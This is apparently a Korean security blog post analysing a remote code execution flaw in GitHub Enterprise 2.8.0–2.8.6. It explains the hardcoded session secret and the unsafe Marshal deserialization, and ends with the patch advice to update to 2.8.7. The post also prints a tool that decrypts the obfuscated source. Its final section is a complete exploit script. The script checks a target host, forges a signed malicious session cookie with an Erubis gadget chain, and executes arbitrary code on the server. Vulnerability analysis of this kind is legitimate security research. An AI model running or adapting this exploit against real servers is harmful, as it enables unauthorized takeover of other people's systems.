포스팅 내용

국내외 보안동향

깃허브 엔터프라이즈(Github Enterprise) 원격코드실행 취약점 분석

깃허브 엔터프라이즈(Github Enterprise) 원격코드실행 취약점 분석

 

최근 Github Enterprise에서 원격코드실행 취약점이 발견되었으며, 이에 해당 취약점은 왜 발생했으며, 어떠한 원리로 동작하는지 분석해 보았습니다. 


코드 복호화 처리


Github Enterprise를 내려받으면, VirtualBox 이미지가 함께 포함되어 있습니다. 그리고 사용자는 이것들을 이용하여 자신의 PC에 설치를 할 것입니다. 랜덤으로 이미지를 복구할 때 내부를 분석해 보니, /data 리스트 하위에서 GitHub 코드를 찾을 수 있었습니다.

 

data

├── alambic

├── babeld

├── codeload

├── db

├── enterprise

├── enterprise-manage

├── failbotd

├── git-hooks

├── github

├── git-import

├── gitmon

├── gpgverify

├── hookshot

├── lariat

├── longpoll

├── mail-replies

├── pages

├── pages-lua

├── render

├── slumlord

└── user

 

이 코드들은 모두 난독화 처리가 되어 있었기 떄문에, 대부분은 다음과 같이 보였습니다.

 

require "ruby_concealer"

__ruby_concealer__ "\xFF\xB3/\xDFH\x8A\xA7\xBF=U\xED\x91y\xDA\xDB\xA2qV <more binary yada yada>"

 

원래 ruby_concealer.so이라는 이름을 가진 ruby모듈은 2진수 문자열에 대하여 Zlib :: Inflate :: inflate로 처리합니다. 그 후 비밀키인 “This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken”를 사용하여 XOR 연산을 합니다. 비밀키가 나타내는 것처럼, 난독화는 쉽게 복호화 할 수 있습니다.

 

다음 툴을 이용하여 난독화 코드에 대해 복호화를 진행하였습니다.

 

#!/usr/bin/ruby

#

# This tool is only used to "decrypt" the github enterprise source code.

#

# Run in the /data directory of the instance.

require "zlib"

require "byebug"

KEY = "This obfuscation is intended to discourage GitHub Enterprise customers "+

"from making modifications to the VM. We know this 'encryption' is easily broken. "

class String

  def unescape

    buffer = []

    mode = 0

    tmp = ""

    # https://github.com/ruby/ruby/blob/trunk/doc/syntax/literals.rdoc#strings

    sequences = {

      "a"  => 7,

      "b"  => 8,

      "t"  => 9,

      "n"  => 10,

      "v"  => 11,

      "f"  => 12,

      "r"  => 13,

      "e"  => 27,

      "s"  => 32,

      "\"" => 34,

      "#"  => 35,

      "\\" => 92,

      "{"  => 123,

      "}"  => 125,

    }

    self.chars.each do |c|

      if mode == 0

        if c == "\\"

          mode = 1

          tmp = ""

        else

          buffer << c.ord

        end

      else

        tmp << c

        if tmp[0] == "x"

          if tmp.length == 3

            buffer << tmp[1..2].hex

            mode = 0

            tmp = ""

            next

          else

            next

          end

        end

        if tmp.length == 1 && sequences[tmp]

          buffer << sequences[tmp]

          mode = 0

          tmp = ""

          next

        end

        raise "Unknown sequences: \"\\#{tmp}\""

      end

    end

    buffer.pack("C*")

  end

  def decrypt

    i, plaintext = 0, ''

    Zlib::Inflate.inflate(self).each_byte do |c|

      plaintext << (c ^ KEY[i%KEY.length].ord).chr

      i += 1

    end

    plaintext

  end

end

Dir.glob("**/*.rb").each do |file|

  header = "require \"ruby_concealer.so\"\n__ruby_concealer__ \""

  len = header.length

  File.open(file, "r+") do |fh|

    if fh.read(len) == header

      puts file

      ciphertext = fh.read[0..-1].unescape

      plaintext  = ciphertext.decrypt

      fh.truncate(0)

      fh.rewind

      fh.write(plaintext)

    end

  end

end

 

 

기업관리자 인터페이스


난독화 코드에 대해 복호화는 완료되었으며, 취약점을 찾기 시작하면 됩니다. 관리자 인터페이스은 매우 좋은 공격타겟입니다. 만약 당신이 관리자라면, 당신은 SSH키(root권한 필요),서버 종료 등의 기능을 추가할 것이며, 일반권한의 사용자라면관리자 UI가 보일것입니다.

 

이것은 당연히 /data/enterprise-manager/current / 에서 찾은 것입니다.

 

세션관리

 

관리인터페이스는 Rack응용 프로그램이기 때문에, 먼저 해야할 것은 config.ru 파일을 찾아 해당 프로그램의 프레임워크를 상세히 파악해야 합니다. 저는 이 관리 인터페이스가 사용하는 Rack :: Session :: Cookie에 주목하였습니다. 명칭에서 추측할 수 있듯이,이 파일은 세션값을 cookie으로 바꿔주는 Rack의 미들웨어입니다.

 

# Enable sessions

use Rack::Session::Cookie,

  :key          => "_gh_manage",

  :path         => "/",

  :expire_after => 1800, # 30 minutes in seconds

  :secret       => ENV["ENTERPRISE_SESSION_SECRET"] || "641dd6454584ddabfed6342cc66281fb"

 

실제로, 이 파일의 내부에서 완성하는 작업은 한 건인데, 바로 직렬화된 세션데이터를 cookie화 하는 것입니다.

 

Rack 응용프로그램의 작업이 완성될 때, Rack :: Session :: Cookie는 아래의 알고리즘을 통하여 세션데이터를 Cookie중에 저장합니다.

 

획득한 응용프로그램을 env [“rack.session”] 의 세션해쉬값 ({“user_id”=> 1234,“admin”=> true} 혹은 유사한 값)

Marshal.dump를 실행하여 이 ruby해쉬값을 문자열로 바꿉니다.

생성된 문자열을 Base64로 인코딩 하며, 비밀키로 솔팅된 해시값을 첨부파여 위변조를 방지합니다.

결과값을 _gh_manage cookie에 저장합니다. 

 

cookie의 세션데이터에 대해 역직렬화를 진행합니다.

 

예시를 통하여 역직렬화 과정에 대해 자세히 알아 보겠습니다.


cookie에서부터 데이터를 로드하려면, Rack :: Session :: Cookie는 관련된 조작을 실행해야 합니다. 예를들어, cookie에 다음과 같은 값이 설정되어 있습니다.


cookie = "BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTRhYjMwYjIyM2Y5MTMzMGFiMmJj%0AMjdiMDI1O"+

"WY1ODkxMzA2OGNlMGVmOTM0ODA1Y2QwZGRiZGQwYTM3MTEwNzgG%0AOwBGSSIPY3NyZi50b2tlbgY7AFR"+

"JIjFKMzgrbExpUnpkN3ZEazZld1N1eUhY%0AcjQ0akFlc3NjM1ZFVzArYjI3aWdNPQY7AEY%3D%0A--5e"+

"b02d2e1b1845e9f766c2282de2d19dc64d0fb9"

 

여기는 "--"에 근거하여 문자열을 나누고, 이스케이프 된 url을 디코딩 합니다. 또한 base64를 이용하여 결과값을 디코딩하여, 최종적으로 2진수 데이터와 서명을 획득합니다.


data, hmac = cookie.split("--")

data = CGI.unescape(data).unpack("m").first

# => data = "\x04\b{\aI\"\x0Fsession_id\x06:\x06ETI\"E4ab30b223f91330ab2bc27b025

# 9f58913068ce0ef934805cd0ddbdd0a3711078\x06;\x00FI\"\x0Fcsrf.token\x06;\x00TI\"

# 1J38+lLiRzd7vDk6ewSuyHXr44jAessc3VEW0+b27igM=\x06;\x00F"

# => hmac = "5eb02d2e1b1845e9f766c2282de2d19dc64d0fb9

 

그 후 예측되는 hmac를 계산합니다.


secret = "641dd6454584ddabfed6342cc66281fb"

expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)

 

만약 컴퓨터의 해쉬값과 예측한 해쉬값이 일치한다면, Marshal.load가 전송될 것이며 그렇지 않다면 fail이 될 것입니다.

 

if expected_hmac == hmac

  session = Marshal.load(data)

end

# => {"session_id" => "4ab30b223f91330ab2bc27b0259f58913068ce0ef934805cd0ddbdd0a3711078",

#     "csrf.token" => "J38+lLiRzd7vDk6ewSuyHXr44jAessc3VEW0+b27igM="}

 

 

취약점 분석

 

위 코드에는 두가지 문제점이 존재합니다.


ENV ["ENTERPRISE_SESSION_SECRET"]는 어떠한 설정을 하지 않았기 때문에, 해당 비밀키는 기본적으로 위에 언급된 값입니다. 당신은 임의의 Cookie값에 서명을 하고 이를 통하여 세션 ID값을 설정할 수 있습니다. 하지만 이런 과정은 어떠한 도움도 되지 않는 것이, 세션 ID는 32개의 랜덤바이트이기 때문입니다.


하지만, 당신은 임의의 데이터값을 Marshal.load에 입력할 수 있습니다. 왜냐하면 당신은 유효한 서명값을 위조할 수 있기 때문입니다. JSON과 다른점은, Marshal형식은 해시, 배열 및 정적유형의 사용을 허용할 뿐만 아니라, ruby 객체 사용도 허용하기 때문입니다. 바로 이때문에 원격코드실행 취약점이 발행하는 것입니다.

 

취약점 코드 제작


만약 임의 코드를 실행하고 싶다면, 역직렬화코드의 Marshal.load를 실행할 입력값을 만들어야 합니다. 이 과정을 두 단계로 나누어 보았습니다.

 

악성 ERb 템플릿


.erb템플릿 파싱방식은 Erubis가 템플릿을 읽고 Erubis :: Eruby 객체를 생성하는데, 이 객체는 @src인스턴스 변수중의 템플릿코드에 저장됩니다. 그렇기 때문에 만약 자신의 코드를 이곳에 인젝션 하고싶다면, object.result를 콜하는 방법만 알면 됩니다.


erubis = Erubis::Eruby.allocate

erubis.instance_variable_set :@src, "%x{id > /tmp/pwned}; 1"

# erubis.result would run the code

 

악성 InstanceVariableProxy

 

ActiveSupport는 매우 간편하게 사용자의 어떤 파일에 변화가 발생했는지 알려주는 기능을 제공합니다. 이것은 ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy로, 우리는 이것을 이용하여 인스턴스 변수를 폐기할 수 있습니다. 만약 폐기한 인스턴스 변수 상에서 실행한다면, 이것은 당신이 생성한 새로운 방법을 사용하여 알림을 줄 것입니다.

 

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)

session = {"session_id" => "", "exploit" => proxy}

 

만약 우리가 session [“exploit”]에 방문한다면, 이것은 erubis.result을 콜한 후 삽입되어 있는 shell명령 id> / tmp / pwned을 실행한 후 1을 반환할 것입니다.

 

그리고 우리는 이것을 세션 cookie로 생성한 다음, 비밀키로 서명해 주면 바로 원격코드실행공격을 할 수 있게되는 것입니다.

 

Exploit


#!/usr/bin/ruby

require "openssl"

require "cgi"

require "net/http"

require "uri"

SECRET = "641dd6454584ddabfed6342cc66281fb"

puts '                     ___.   .__                 '

puts '  ____ ___  ________ \_ |__ |  |  __ __   ____  '

puts '_/ __ \\\\  \/  /\__  \ | __ \|  | |  |  \_/ __ \ '

puts '\  ___/ >    <  / __ \| \_\ \  |_|  |  /\  ___/ '

puts ' \___  >__/\_ \(____  /___  /____/____/  \___  >'

puts '     \/      \/     \/    \/                 \/ '

puts ''

puts "github Enterprise RCE exploit"

puts "Vulnerable: 2.8.0 - 2.8.6"

puts "(C) 2017 iblue <iblue@exablue.de>"

unless ARGV[0] && ARGV[1]

  puts "Usage: ./exploit.rb <hostname> <valid ruby code>"

  puts ""

  puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\""

  exit 1

end

hostname = ARGV[0]

code = ARGV[1]

# First we get the cookie from the host to check if the instance is vulnerable.

puts "[+] Checking if #{hostname} is vulnerable..."

http = Net::HTTP.new(hostname, 8443)

http.use_ssl = true

http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates

rqst = Net::HTTP::Get.new("/")

while res = http.request(rqst)

  case res

  when Net::HTTPRedirection then

    puts "  => Following redirect to #{res["location"]}..."

    rqst = Net::HTTP::Get.new(res["location"])

  else

    break

  end

end

def not_vulnerable

  puts "  => Host is not vulnerable"

  exit 1

end

unless res['Set-Cookie'] =~ /\A_gh_manage/

  not_vulnerable

end

# Parse the cookie

begin

  value = res['Set-Cookie'].split("=", 2)[1]

  data = CGI.unescape(value.split("--").first)

  hmac = value.split("--").last.split(";", 2).first

  expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data)

  not_vulnerable if expected_hmac != hmac

rescue

  not_vulnerable

end

puts "  => Host is vulnerable"

# Now construct the cookie

puts "[+] Assembling magic cookie..."

# Stubs, since we don't want to execute the code locally.

module Erubis;class Eruby;end;end

module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end

erubis = Erubis::Eruby.allocate

erubis.instance_variable_set :@src, "#{code}; 1"

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate

proxy.instance_variable_set :@instance, erubis

proxy.instance_variable_set :@method, :result

proxy.instance_variable_set :@var, "@result"

session = {"session_id" => "", "exploit" => proxy}

# Marshal session

dump = [Marshal.dump(session)].pack("m")

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

puts "[+] Sending cookie..."

rqst = Net::HTTP::Get.new("/")

rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"

res = http.request(rqst)

if res.code == "302"

  puts "  => Code executed."

else

  puts "  => Something went wrong."

end

 

 

패치방법


GitHub Enterprise 2.8.7로 업데이트


참고 : 

http://bobao.360.cn/learning/detail/3614.html

https://www.exploit-db.com/exploits/41616/

 

 

 

티스토리 방명록 작성
name password homepage